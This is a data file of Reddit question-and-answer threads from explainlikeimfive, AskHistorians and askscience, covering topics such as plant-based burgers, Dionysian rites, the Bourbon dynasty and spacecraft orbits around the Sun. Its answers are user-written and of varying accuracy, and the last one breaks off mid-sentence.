{"q_id": "cps0dj", "title": "what is the real difference between the traditional veggie burgers that have been around forever, and these relatively new plant-based protien versions?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/cps0dj/eli5_what_is_the_real_difference_between_the/", "answers": {"a_id": ["ewr75nm", "ewr78wf", "ewr7k85", "ewra45p", "ewrsvzv"], "score": [31, 3, 9, 7, 5], "text": ["Veggie Burgers taste nothing like a meat-based burger, and don't even try to. They are a tasty vegetable patty that happens to be shaped like a burger.\n\nThe new ones actually resemble ground beef.", "There hasn\u2019t been a high demand for veggie burgers until recently, so not a lot of companies would invest in finding good veggie substitutes.\n\nAs veganism and vegetarians are on the rise, it means a new gap in the market for good quality meat substitutes. The money going into substitutes has been put towards 1.) making the substitutes more meat-like, hence improving quality. 2.) marketing, which means your \u201cjust veggie burgers\u201d are now \u201cnutrient dense cruelty free high protein healthy burgers\u201d.", "The new burgers are made of significantly different ingredients, including some gene-modified ones. The Impossible Burger folks published their original recipe a while back. In it, they inserted a heme-rich soy protein into genetically modified yeast, which then made tons of this protein. It is this protein that gives the burger the pink juices which make it look like beef.\n\nThey have recently upgraded their product, and I haven't seen the new recipe on the net.", "Very different, the old ones are basically beans ground up into a paste with some other veggies in them. They press it into a patty and that's it. They taste like veggies because it's made out of veggies.\n\nThe newer ones are refined vegetable proteins and fats, picked specifically because they are similar to their beef counterparts. They are mixed to taste as close to beef as possible while containing no animal products.", "Mentioned a bit below, but to clarify, the Beyond/Impossible burgers are much more \"meat\" like in that they \"bleed\" via a plant-based heme (leghemoglobin), and have a very similar taste to beef.   \n\n\nAs noted below, there have been a variety of veggie patties in the past with a meaty texture (rather than just the common legume/cereal grain pressed patties) via myco or textured vegetable protein, but not at this level.   \n\n\nTL;DR - The two main new burgers are designed to emulate meat in virtually every way, rather than just being a tasty/healthy plant protein patty shaped like a burger."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], []]}
{"q_id": "4spdh3", "title": "Do we know what the initiation rites for the Dionysian Mysteries were?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/4spdh3/do_we_know_what_the_initiation_rites_for_the/", "answers": {"a_id": ["d5b684n"], "score": [4], "text": ["We do not know what the specific rituals were, but observers of what is apparently Dionysiac death preparation left behind \"instructions\" of their preparation in at least forty different graves scattered all over the Mediterranean, from Olbia on the Black Sea to Macedonia, the Aegean, Greece proper, and Italy.  They usually take the form of very small inscribed gold tablets.  Two identical examples were found at Pellina, in Thessaly, in 1985.  Both golden, shaped to look like leaves of ivy.  On each is the following:\n\n > Now you died and now you were born, thrice blessed one, on this day; Tell Persephone that the Bacchic one himself has released you.\nAs a bull, you leapt into the milk; Suddenly you leapt into the milk;\nAs a ram, you fell into the milk. You shall have wine as your blessed honor, and ritual celebrations await you under the earth, and all the other blessed ones as well.\n\nWhy it would be Dionysus who is connected with the world of the dead is not totally clear.  He is a very enigmatic god: there are many Dionysiac sanctuaries, but few actual temples; the theater was his temple, and every Greek theater was dedicated to him. Though he always received a bull sacrifice at Athens, elsewhere he more commonly got a goat, a rather unusual animal for Greek ritual sacrifice.   The god was \"born\" twice, from a mortal mother and then again from Zeus.  He was divine and immortal, but there was a tomb for him at Delphi.  In Archaic art he is usually shown to be an adult, bearded, but also equally likely to be young and beardless, with long flowing hair, \"shaped like a girl\" (*thelomorphos).  He frequently seems to cross gender boundaries: he wears a party dress and a woman's headband (*mitra*) often, and in Aeschylos a character calls him a \"girlie-boy\" (*gunnis* - in a fragment of *Edonians*).  In *Oedipus Tyrannus* he is \"the one who wears the same get-up as the maenads\" (209-212).\n\nHe is a god of madness, of altered states, and of the spaces between black and white.  He is the catalyst of transitions (though he shares this role with many other powers, including especially Artemis).  All of this sums up to make him, in some way, an appropriate or desirable guide to the afterlife for some Greeks.  The tablets like the one above show up about 400-200 BCE and none later (that we've found), so this seems to have been a short-lived but wide-spread fad.  Bacchic mystery cults experience a grass-roots revival in the Roman Imperial period, however.\n\nPlato talks about the purifying effect of ritual madness (*telestike mania*):\n\n >  Madness, springing up and making prophecies to those for whom it was necessary, secured release from the greatest diseases and sufferings at one time arising from ancient causes of wrath in some of the families, having recourse to prayers and worship of the gods, whence, encountering purifications and teletai, it made healthy the one who had it for the present and for the future, finding release from the present evils for the one who rightly rages and is possessed. (Phaedrus 244d)\n\nIt seems that the Bacchic rites prepared one for the judgement to come after death (cf Republic 614b ff).  \n\nI have to go right now but when I come back later I will add some sources for further reading.\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "1edzbx", "title": "\"correlation does not imply causation\" why is this a valid defense for video games and violence, but not gun ownership and reduced violence?", "selftext": "To clarify: I do believe that playing violent video games does not make people violent. This argument is accepted as a valid defense. However, when I state that increased **legal** gun ownership reduces violent crimes, people lose their mind.", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1edzbx/eli5_correlation_does_not_imply_causation_why_is/", "answers": {"a_id": ["c9za47n", "c9za5jd", "c9zbq33"], "score": [20, 9, 4], "text": ["It is valid in both cases, but you're on opposite sides of the fence for both issues.\n\nA correlation between violent video games and violent crimes doesn't necessarily imply a causal link between the two. \n\nYou support video games, and want to use the \"correlation does not imply causation\" argument to support your view.\n\nA correlation between legal gun ownership and reduction in violent crimes doesn't necesasrily imply a causal link.\n\nYou seem to be pro legal gun ownership, so you're trying to use the idea that increased gun ownership causes decreased violent crimes which violates the \"correlation does not imply causation\" rule.\n\nIn the first case, you're using it to discredit a theory. In the second, you appear to be trying to use it to support your own beliefs...", "First of all, it's not a *defense* ever, it's simply a rule of thumb to point out that correlation is not *by itself* enough to prove causation.  It's foolish to think that correlation is not evidence of something; it might be a red herring, but it often warrants a closer look.  It's more accurate to say that correlation does not *prove* causation, rather than to say it does not *imply* it.\n\nSecond, you're really talking about emotional topics where there is little really good hard evidence and no easy way to conduct a properly controlled experiment.  Not without eventually finding yourself in front of either an ethics committee or a war crimes tribunal, anyway.  So you're trying to dispute someone's deeply-held beliefs -- and in the United States, at least, guns are virtually a religious topic on both sides -- with an argument about facts that you don't really have and the people you're arguing with probably don't care about anyway.\n\nTl;dr, that's not the right rule and your puny facts are no match for emotions anyway.", "I'm not certain that the two are totally comparable.\n\nYes, there are parallels to be drawn.\n\nBut there are two significant difference:\n\n- A gun is a tool that is used to hurt or kill people. A game is not a tool. The game itself will not hurt or kill people, even in the wrong hands. (Many will answer this by saying guns don't kill, people do - yes, that's true, but people kill *with guns*, people *don't* kill with computer games.)\n\n- The primary purpose of a computer game is to entertain. The primary purpose of a gun is to hurt or kill. People who are anti-guns would claim that there is no legitimate reason for the majority of people to have a gun. (There are obviously exceptions - people who use guns for pest control, for example.) There is a very good, legitimate reason for owning a computer game - namely, that you want to be entertained by it, which is its primary purpose.\n\nThat's not to say that you're not right to discuss a comparison between the two, because there are lots of points that *do* apply to both."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "9jwyej", "title": "how has twitter closing off its api affected third party developers?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/9jwyej/eli5_how_has_twitter_closing_off_its_api_affected/", "answers": {"a_id": ["e6uq78t", "e6usymi"], "score": [2, 3], "text": ["It certainly has affected end users. My main Twitter app for a long time on iOS has been Tweetbot and it's been pretty crippled by them killing off the APIs. I can no longer see likes or retweets (what they called activity) from my feed.", "I have no account or app, and I can no longer see the end linked by news sites. That's huge, as they don't directly post videos or pics on the news sites themselves. That has got to change!"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "1iamhj", "title": "when mcdonald's has happy meal toys from a popular movie, is mcdonald's paying the movie studio for the toys or is the studio paying mcdonald's to advertise the movie?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1iamhj/eli5_when_mcdonalds_has_happy_meal_toys_from_a/", "answers": {"a_id": ["cb2m28b", "cb2opr7", "cb2p1eh", "cb2p6rn", "cb2qkq7", "cb2qpd0", "cb2re92", "cb2rgjh", "cb2tj3r", "cb2ud5j"], "score": [289, 644, 19, 503, 6, 9, 2, 81, 5, 2], "text": ["At least when they were making Disney toys, [McDonald's paid them](_URL_0_).", "I feel like /r/answers might be a more suitable subreddit for this question.", "Considering [40%](_URL_0_) of McDonalds profits comes from Happy Meals, I'd say McDonalds pays them for the rights.", "Usually, when a movie is partnered with another company the company pays the movie. Here's an example of why that's not a rip-off:\n\nIf McDonald's offered toys from Disney's *Planes* the same week it came out, it's advertising Planes. But, the advertisement and popularity Planes already has makes the McDonald's toys more popular too. So the movie gets a free boost to popularity, and the McDonald's gets a free boost to popularity. But the movie just gets more \"awareness\" from the McDonald's toys where as McDonald's benefits more directly by increasing actual sales. It means McDonald's pays Disney even though they both benefit. \n\nIf you want to know more about this trend I can't suggest highly enough the movie *POM Wonderful Presents: The Greatest Movie Ever Sold*. It's available on Netflix and is Morgan Spurlock who does amazing (and very ELI5) documentaries. ", "I'm going to guess before looking at the comments and say McD gets paid. McD will sell its happy meals either way, with your shit or the other guys shit. Only case where they might cut a deal is for STAR WARS or something huge like that - even then, they aren't necessarily paying, just giving a better deal than Burger King. To get your toy in the happy meal (and a custom happy meal box) for a month you probably pay McD 5 million bucks, and you provide the toy.\n\nEdit: Turns out I was totally wrong", "McDonald's has to be paying for the rights to license the toys for use in their happy meals, and they may end up co-paying for the ad budget, with the Studios likely paying a small percentage of the display unit dedicated to the movie or fixed amount that's within the overall film's allocated budget to special promotions. It's a joint venture that's beneficial to both parties, but more so to McDonalds who attracts families simply for that toy, and ends up selling them average order sizes of $8+.\n\nI used to work in media buying for a major movie studio, but we never talked too much about these deals, so I don't know all the details.", "In short, although it might seem like McDonald's are providing an advertising service for the movie since a lot of kids love happy meals, would see the toys and maybe want to see the movie, there are far more kids getting their parents to buy happy meals for the toy, for which often have character figures or toys they want, since they're a fan of the movie/character(s) .\n\nThe equivalent feeling for an adult is seeing a celebrity who's promoting a product, perhaps a luxury watch or a particular beer. They feel more inclined to go and buy those things, if they respect/admire the character who is advertising it (eg James Bond). If the kids don't feel anything for the character, the toy is not as interesting.\n\nSuddenly, the reason for getting their parent's to buy a happy meal, is purely for the toy. Perhaps they'll even go multiple times to collect more. Maybe their friends will see the toy and want one too. Thus the cycle continues. Perhaps the kid gets hooked to the taste of McDonald's and now starts going more. They grow up and perhaps choose McDonald's as their preferred fast food spot. Customer for life.", "Alright folks, this is my job so listen up.\n\n\nMost major food companies have a quarterly promotion of some sort.  Often times, one of the promotions is movie based (i.e. Monsters U).\n\nIn order to sell product with Monsters U items or packaging, the food company usually has to purchase the rights to use said packaging and give the movie production company details on when and where it will be used.  That is all the movie does.  The rest is up to the food company from procuring the toys/inserts, to printing the packaging.\n\n\n", "They form a strategic alliance. \n\nStrategic alliance is where both of them would be benefitted by a set objective. \n\nUntil the set objectives is achieved both the parties will remain separate entities. So McDonald's may want to drive their sale by introducing new toys when movie studio wants to advertise their movie. \n\nThis is where they both would form an strategic alliance. So there will be exchanges of resources and idea on both the site. \n\nSince they both contribute to achieve their objectives, there is no such thing as who should be paying. ", "This is about those minions isn't it."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://articles.latimes.com/2006/may/08/entertainment/et-mcdonalds8"], [], ["http://www.caledonvirtual.com/branding/mcdonalds-rebrand-brilliant-strategy-or-foolish-failure"], [], [], [], [], [], [], []]}
{"q_id": "6rvl18", "title": "why are controls on aircraft inverted instead of un-inverted?", "selftext": "Does it have some sort of advantage over it being un-inverted?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/6rvl18/eli5_why_are_controls_on_aircraft_inverted/", "answers": {"a_id": ["dl82dqj", "dl82md4"], "score": [5, 4], "text": ["Leaning forward makes your body face towards the ground , leaning backward lets you face upward. This corresponds to the mental model we have of flying a plane and the associated tilting of the plane itself.", "I'm not sure I would agree that they are inverted.  Rudder pedal left and the plane yaws left.  Yoke left and the plane rolls left (usually turning left too).\n\nI know what you mean though - pitch.  Pull back go up.  But if the plane is pitching up then you go further back in your seat and naturally pull back and vice versa.  It has been that way since the beginning so no one thinks of it being inverted.  To pitch up by leaning slightly forward would be inverted perhaps.\n\nOk. Not an answer.  But I've simed for years and even had a few real lessons and anytime I start a game with inverted flight controls it confuses the hell out of me! "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "2q43x1", "title": "who starts chain letters (\"pass this on or you'll die within the next seven months\" or \"send this to ten people within the next seven hours and you'll receive good luck for the next year\") and how do they benefit from them? who profits?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2q43x1/eli5_who_starts_chain_letters_pass_this_on_or/", "answers": {"a_id": ["cn2nntj"], "score": [3], "text": ["I think the only 'profit' most of them get is getting to see their stupid letter make it around the internet and get popular."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "6cdupo", "title": "Can a song be a secondary source?", "selftext": "I'm doing a history kit for one of my grad classes and we have to include a certain amount of primary/secondary sources. As my theme is American attitudes towards communism and the Soviet Union, I thought I would include the song Viet Nam by The Minutemen (released several years after the end of US intervention). Would that count as a secondary source?", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/6cdupo/can_a_song_be_a_secondary_source/", "answers": {"a_id": ["dhtxdt4"], "score": [5], "text": ["Wouldn't that be a primary source for the attitude of The Minutemen to the war?  If I use Catullus or Horace or some other poetry, I treat it as primary.\n\nWhat would it be secondary to?"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "257xtx", "title": "since you can always cut a distance in half, is there infinite distance between any two points?", "selftext": "So let's take an inch for example. Cut an inch in half and you have 1/2 an inch. cut that in half and you have .25 then .125 and so on. Does this mean that there is truly an infinite distance between any two points in space?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/257xtx/eli5_since_you_can_always_cut_a_distance_in_half/", "answers": {"a_id": ["chek46b", "chek6l7", "chek6xx", "chekgzs", "chekj1o", "chem1gy", "cher4mm"], "score": [4, 21, 29, 2, 14, 3, 2], "text": ["No but points are zero dimension objects so an infinite number of them can fit in between any two places.", "If something is infinitely divisible, that does not necessarily mean it is infinitely large.", "No. Even if you kept halving those distances an infinite amount of times until the distances became infinitesimal, if you added up all those infinitesimally small pieces you'd end up with the original length.\n\nEdit: This is essentially the basis of calculus. You take something, chop it down to tiny tiny bits and then add up all those bits.", "Imagine doing long division with 1/3. You start out with 0.3. The next step, you tack on 0.03 to get 0.33. The next, you add 0.003 to get 0.333. You can continue this out an infinite number of times, adding a little bit each time, but you'll never flip that first digit to 0.4, or any other digit, for that matter. It's an infinite number of pieces, but you get a finite answer.\n\nIt's the same with dividing up an inch into halves an infinite number of times. You can add up all those tiny pieces together, but it'll never sum together to total more than one inch.", "This is similar to one of Zeno's paradoxes. Suppose Hercules has to travel a certain distance. He must first cover half the distance, then half the remaining distance, then half the distance remaining after that, and so on. Thus he will always get closer to his destination, but he will never reach it. However, Aristotle (yes, it's that old) pointed out that not only does the distance get smaller, but the time required to travel that distance gets smaller; eventually, Hercules has an infinitesimal distance to travel, which takes him an infinitesimal amount of time -- \"infinitesimal\" means \"infinitely small\".\n\nThus, a distance between two points is composed (in theory) of an infinite number of infinitesimal distances. Your argument, although you probably didn't realise it, assumes that a distance is made up of an infinite number of finite distances, and that's certainly not true.\n\nAnother way of looking at it is to think about the sum of an infinite series. You might think that the sum of an infinite series is always infinity, but it isn't -- not always. Sometimes the sum of an infinite series is a finite number.\n\nSo, the sum of the series 1 + 2 + 3 + 4... etc is infinity. The sum of this series will approach, but never reach, infinity. But the sum of the series 1/2 + 1/4 + 1/8 + 1/16... etc is not infinity, but 1.\n\nThe thing is, though, that there is still an infinite number of steps, even though they are infinitely small. And that still leaves a problem: however you look at it, to get from A to B, you still have to pass through an infinite number of intermediary steps, and as Simplicius of Cilicia said, you can't traverse an infinite number of steps in a finite time. On the other hand, Diogenes demonstrated that movement is possible by walking from one place to another in a finite time.\n\nVarious solutions have been put forward, but it's still argued whether or not the paradox has been satisfactorally solved. Zeno lived in the 5th century BC, and even after 25 centuries we still don't know if we've figured it out.", "I remember reading something like this about how difficult it is to accurately measure coast lines due to all of the zigging and zagging (I am not a cartographer).", "No, but you can measure the distance to an infinite amount of precision.\n\nThe distance could be 10cm, but you can measure it to 10.0cm, then 10.02 cm, then 10.017cm, then 10.0173cm, etc..."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], []]}
{"q_id": "3bx3xx", "title": "regarding the north korean who fled to europe with 15 gigs of human experimentation data and plans to testify. how, if at all, will this affect north korea?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/3bx3xx/eli5_regarding_the_north_korean_who_fled_to/", "answers": {"a_id": ["csqc1gz", "csqcaix", "csqejm7", "csqgc3i"], "score": [4, 32, 7, 25], "text": ["They will become a 3rd world nation led by a crazy dictator. This will result in a horrible economy, no civil rights and no foreseeable future for its citizens. So, an upgrade. ", "We really won't know the impact of this until we know what he has to say and what the data contains.\n\nWe most likely won't know what the all the data is for decades - unless another wikileaks or Snowden type whistle-blower leaks it.", "For some reason the news story on world news was deleted, and I can't seem to find anything about it on the Internet. Weird.", "Nothing.\n\nUS will use it to condemn NK, NK will deny it, and claim the US made it up, and China will say no one can be sure what is true."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "3vjx5h", "title": "who were the Bourbons? and how did they gain so much power?", "selftext": "specifically asking in relation to Italy, as I'm studying literature of the Italian Risorgimento/unification, and in the novel I'm reading (Il Gattopardo) Garibaldi (I assume on the part of the House of Savoy, about whom I'm equally clueless) is overthrowing the Kingdom of the Two Sicilies (bourbon rule). \n\nmany thanks!", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/3vjx5h/who_were_the_bourbons_and_how_did_they_gain_so/", "answers": {"a_id": ["cxoot8s"], "score": [10], "text": ["Bourbon was a province in France. In 1287, Bourbon passed to a woman, Beatrice, who married King Louis IX's son Robert (one of his younger sons who would never inherit the throne). Their son, Louis, was made the Duke of Bourbon (previously a lordship). They spent a couple of centuries as influential but not terribly impressive Dukes in France. \n\nHowever, that French line of succession came in when Henry III was assassinated and the Duke of Bourbon became Henry IV (he was already King of Navarre). Henry IV was fascinating. He was a Huguenot who was a target in the St. Bartholomew's day massacre (he converted back to Catholicism to avoid it and renounced it later). But none of that is relevant to your question. The important thing is that with Henry IV the Bourbons became kings of France. Henry IV was eventually assassinated but his line lived on. The Bourbons were the kings on the throne during the French Revolution. And the kings brought back when the monarch was restored (and then thrown off again this is something of a pattern with them). \n\nWhen poor disabled Charles II, the infamously too inbred Haspburg, of Spain died he left the Spanish empire to his grand-nephew. His grand-nephew happened to be the grandson of King Louis XIV of France, a Bourbon. This set-off the War of the Spanish Succession as no one wanted the Bourbons to have that much power. \n\nDuring Charles II's lifetime his territories included Sicily, Naples, and Sardinia. The conclusion of the War of the Spanish Succession led to the Bourbon, Phillip V, on the throne of Spain. But most of the other European territories had to be given away including Naples and Sicily (and he renounced any claim to the throne of France thus the second House of Bourbon was born). \n\nPhillip V married the niece of the Duke of Parma (who was his second wife), who definitely had Italian ambitions. And the two of them set their sights on winning back that lost territory in Italy. They occupied Naples and Sicily and also had their son, Charles, made Duke of Parma. After a war with Austria (which was sparked in Poland) Charles was officially king of Sicily and Naples. Although Parma was ceded to the Austrians. \n\nSo Charles was the first Bourbon king of Sicily and Naples, where he lived (rather novel for kings of Sicily and Naples). He was widely regarded as a good king. Famously, he was king when Pompeii was discovered and was very excited about the excavation and all of the new discoveries. He also did great things for the economy, much needed in an area that had been fought over and neglected for so long. \n\nAfter his elder brother died Charles was made king of Spain, Charles III. Eventually, he ceded control of Naples and Sicily to his son, Ferdinand. Thus creating the *third* House of Bourbon ruling in Europe. \n\nThe Bourbons, this third line, continued to rule the Kingdom of the Two Sicilies, which was the largest unified territory in Italy, until Napoleon forced them out. And then took control back after the fall of Napoleon until the unification of Italy in 1860, which is where your book comes in. \n\nIncidentally the current king of Spain, Felipe VI, is a Bourbon. They were a tenacious group. They gained power partially through luck (unlikely inheritances of major thrones falling into their lap twice). Through military power. And through savvy political alliances. Until the French Revolution, they remained closely aligned with the French Bourbons. They were the great rival to the Hapsburgs in their day. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "6bqxxb", "title": "The Magna Carta states that the City of London can keep its ancient \"Rights and Liberties\". What were they at the time, and how do they manifest today?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/6bqxxb/the_magna_carta_states_that_the_city_of_london/", "answers": {"a_id": ["dhpafy5", "dhqfaeg", "dhrck5l"], "score": [132, 34, 27], "text": ["A follow up question, if I may:\n\nJust how ancient are the City's rights and liberties? Is there any merit to the [suggestion](_URL_0_) that they stem from a time when the city was an island of Brythonic-speaking Brits in an Anglo-saxon sea?", "I asked this question last year and got a fantastic but little viewed reply from /u/domestic_dog which can be found [here] (_URL_0_)", "[This](_URL_0_) (warning PDF download) paper answers the question fully and completely.  Taking from the paper, the Rights and Liberties of the City at the time were:\n\n* Taxes and Tolls. The City obtained exemption from various taxes (scot and lot, danegeld) as well as fines (murdrum, childwite, jeresgive, scotale, miskenning). It also gained the right to pay the same tallage and aids as other citizens as well as an exemption from tolls and a maximum sum for amercements;\n* Judicial Rights. The City obtained the right to be tried by their own courts, that is, \u2018within the walls\u2019. Also, freedom from \u2018wager by battle\u2019 as well as the rights of infangthef, outfangthef, escheat, waifs, estrays and treasure trove. Also, certain legal rights distinct from the common law in respect of: lands, promises, debts, wills as well as orphans, apprentices, feme sole, hostlers and defamatory words. The mayor and aldermen obtained the right to be justices of the peace (JP\u2019s) and the mayor, a justice of goal delivery and\nof oyer and terminer;\n* War and Billeting. The City obtained exemption from being compelled to provide troops for war outside the City and to be free of billeting;\n* Officials. The City obtained the right to appoint a mayor, sheriffs, chamberlain, common clerk and common sarjeant. Provision was also made for the annual election of aldermen;\n* Offices of the Mayor. The mayor obtained the offices of : escheator, bailiff of the Thames, admiral of the port of London, clerk of the market, keeper of the great beam, gauger of merchandise, outroper, coroner, registrar of pawns, custodian of Bedlam, assistant to the butler at the coronation and lord lieutenant;\n* Merchants and Markets. The City obtained the right to impose various restrictions on merchants as well as brokers. Also, the right to have: their own clerk of the market, courts of piepowder, market overt and freedom for purveyance. Further, the ability to impose: charges on the weighing, carriage, survey (ie. inspection) and the measurement of goods and coals; \n* The City obtained the right to bear maces of gold and silver. Also, confirmation of their hunting rights.\n\nOf those, \n\n* Taxes  &  tolls: either refer to obsolete terms or have been superceded by legislation and other charters.  The paper deems that none of the items granted by the Magna Carta remain in force.\n* Judicial rights: have either become obsolete or been superceded by general legislation or become purely ceremonial in nature\n* War  &  Billeting: have been superceded by general legislation\n* Offices of the Mayor: are again ceremonial in nature and have none of the real power enshrined in the Magna Carta\n* Merchants  &  Markets: have been superceded by later legislation\n\nThe short answer is that none of the originally granted Rights  &  Liberties remain in their original form."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://steemit.com/history/@teatree/where-do-the-ancient-rights-of-the-city-of-london-come-from"], ["https://www.reddit.com/r/AskHistorians/comments/4i92s2/what_are_the_city_of_londons_ancient_rights/d2wrymk/?context=3"], ["http://www.ccsenet.org/journal/index.php/ilr/article/download/28685/17142"]]}
{"q_id": "3rd0x4", "title": "are single-celled organisms today identical to those millions of years ago? have they not evolved or only evolved a little?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/3rd0x4/eli5are_singlecelled_organisms_today_identical_to/", "answers": {"a_id": ["cwmxkjy", "cwmxynf"], "score": [4, 4], "text": ["No, they're not identical. They evolve just like everything else. If by 'evolved only a little' you mean \"haven't become multicellular\" it's important to remember that is only one aspect of evolution, and certainly not the sole measure. For instance, consider that there are a number of single celled organisms that can lay low a human. If they didn't evolve, they wouldn't be able to keep up in the 'disease resistance' arms race. ", "Since we do not have these ancient single celled organisms to examine we can only guess.\n\nMutations in DNA which result in greater reproduction are preserved. There are more of these single cells every generation. Eventually they crowd out other older cells with DNA without the new mutation. That is how evolution works.\n\nSo we an guess that the single cell organisms of today are more developed and can reproduce better. But we do not know.\n\nWe can examine DNA in all species. We know that certain patterns exist in all species. They may not be totally identical. But they code for the same protein which has had basically the same shape and function for a billion years.\n\nFavorable mutations are preserved by replication. Unfavorable ones are eliminated.\n\nThere are other ways favorable mutations are preserved. DNA does get transferred from one organism to another even in single cell organisms. So two favorable mutations which occurred in two separate cell lines can wind up in the same cell even if sexual reproduction does not occur in that species. It is very rare but it happens.\n\nSo we can assume that most basic favorable mutations spread among species.\n\nHave conditions changed for the single cell organism? Does it face the same environment, the same challenges? It may be so perfectly adapted to these conditions that no change in DNA will help. So its evolution is static."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "96f31o", "title": "Why is it harder to send a spacecraft to the Sun than away from the Sun?", "selftext": "Stupid me thinks the gravity would help. Smarter than me says physics knows why.", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/96f31o/why_is_it_harder_to_send_a_spacecraft_to_the_sun/", "answers": {"a_id": ["e4014b7", "e401hf7", "e401n1c", "e401n9k", "e405iai", "e405vcj", "e40868z", "e409l0l", "e40edkb", "e40fjzy", "e40gnqb", "e40jwqi", "e40lxxg", "e40p9bo", "e411mkp", "e418oh9"], "score": [26, 2494, 554, 98, 7, 2268, 55, 122, 2, 2, 2, 2, 3, 4, 2, 3], "text": ["The earth is in orbit around the Sun, which means that it's traveling sideways (relative to gravitational down in the solar system) really fast. In order to fall towards the Sun, you have to cancel out this speed, which takes a lot of effort.\n\nThink of it this way: in order to get into orbit you need to put a lot of energy in to change your speed. To get out of orbit you have to put this energy in again to change your speed by the same amount but in the opposite direction.", "Earth orbits the Sun with about 30 km/s. To reach the Sun (or get very close), you have to cancel all this speed - accelerate backwards by nearly 30 km/s. That is too much for rockets. In addition to a very powerful rocket you need tricks like fly-bys at the inner planets to reduce your tangential velocity.\n\nAt the distance of Earth, the escape velocity from the Sun is 42 km/s (\"exactly\" sqrt(2) times the orbital velocity). To escape, you can accelerate forwards by 12 km/s. That is something rockets can do.", "Just as an FYI, as its related, there actually is a sophisticated satellite being launched this weekend called the Parker Solar Probe that will pass the sun 7 times, and will be the fastest man made object ever. ", "The Earth is moving at 30 km/s relative to the sun. This means to get to the sun, you need to lose 30 km/s of speed (that is, accelerate in the opposite direction to the Earth's orbit). You can reduce this a bit by taking advantage of the fact the Earth is rotating to take away some of the extra speed you need, but that still leaves you needing a lot of fuel/reaction mass to get to the sun.\n\nEscape velocity, however, is only the square root of two (~40%) faster than a circular orbit, meaning that you need to travel 42 km/s from Earth to escape the sun's gravity entirely; so instead of needing to lose 30 km/s, you only need to gain 12 km/s!\n\nOf course, for both these approaches there are ways to change your velocity more by using clever techniques (e.g. gravitational slingshots), so you don't have to carry as much fuel/reaction mass.", "Depends on at what distance you want to arrive. Getting 'close' to the sun or even crashing into the sun means you must lose most of the speed that the Earth has in its orbit around the sun (about 30 km/s = 108,000 km/h; 67,000 mph). \nFor comparison, even when Mars is closest to Earth that distance is larger than the distance from Earth to the sun, but you need less change in speed to get to Mars than to get to close to the sun: \n\nFrom Earth's surface to Earth orbit requires ~10km/s speed change  \n\nGetting outside of the influence of Earth's gravity requires another 1 km/s (Earth's escape velocity is ~11km/s)  - you'll then be under the influence of the gravity of the sun. \n\nThen getting to Mars requires another ~3km/s  \n\nThen getting into a wide Mars orbit requires another ~1km/s  \n\nLanding on Mars can be done mostly by aero-breaking which costs essentially no fuel. \n", "on the scale of the solar system, the sun is small enough it can largely be considered a point source. Now since we are starting from earth, which is in orbit around the sun, any satellite launched will also be in orbit around the sun. as long as something is orbiting the sun, it wont actually crash into the sun, just move in a ellipse around it. in order to actually crash into the dot that is the sun, the spacecraft would need to basically stop being in orbit and instead be in free fall. This requires shedding ALL of the lateral velocity, which earth has a lot of.  \n", "This is a misconception about orbits. \n\nSomeone once told me if they ever somehow got stuck on the international space station, they would just strap on a parachute and \u201cjump down\u201d. \n\nThe thing is, orbits spin you away from the earth. You can\u2019t make it to a lower orbit by jumping towards the earth. You need to rocket yourself in the opposite direction of the spin. \n\nA further or closer orbit is determined by how fast you are going. Slow down a little and you are still orbiting, just at a lower altitude. \n\nSo if you did what that person told me was their plan, you\u2019d barely make a dent in your speed and just circle the globe until your air ran out or you hit something. \n\nSame idea with earth\u2019s orbit. You can\u2019t just jump at the sun. You need to cancel out the orbit to move closer. We are far enough away that one direction is easier than the other. ", "Hitting the Sun is HARD, by minutephysics: \n _URL_0_", "To fall into a gravity well you have to stop the forward motion of an orbit, the earth orbits quickly so anything we launch into space is going to be moving quickly in the same direction too. Easier to send things to other planets than to the center of the sun because of the way we all move in relation to our parent star. \n\n\nBasically in order to reach the sun you have to fire retrograde until the movement of the craft is stopped relative to the earth's orbit, only then would it fall into the sun. Doing this requires massive amounts of energy to accomplish, more so than what we can do with conventional rockets, which is why we require a gravity assist from Venus to do such a thing. ", "The change in velocity required to cancel out the velocity of Earth's orbit--and our own circumsolar velocity--is far greater than the velocity required to escape the Sun's gravity well. Also, the solar wind makes solar panels paradoxically ineffective and can easily fry any electronics without heavy protective shielding", "By my less-capable understanding:\n\nAngular 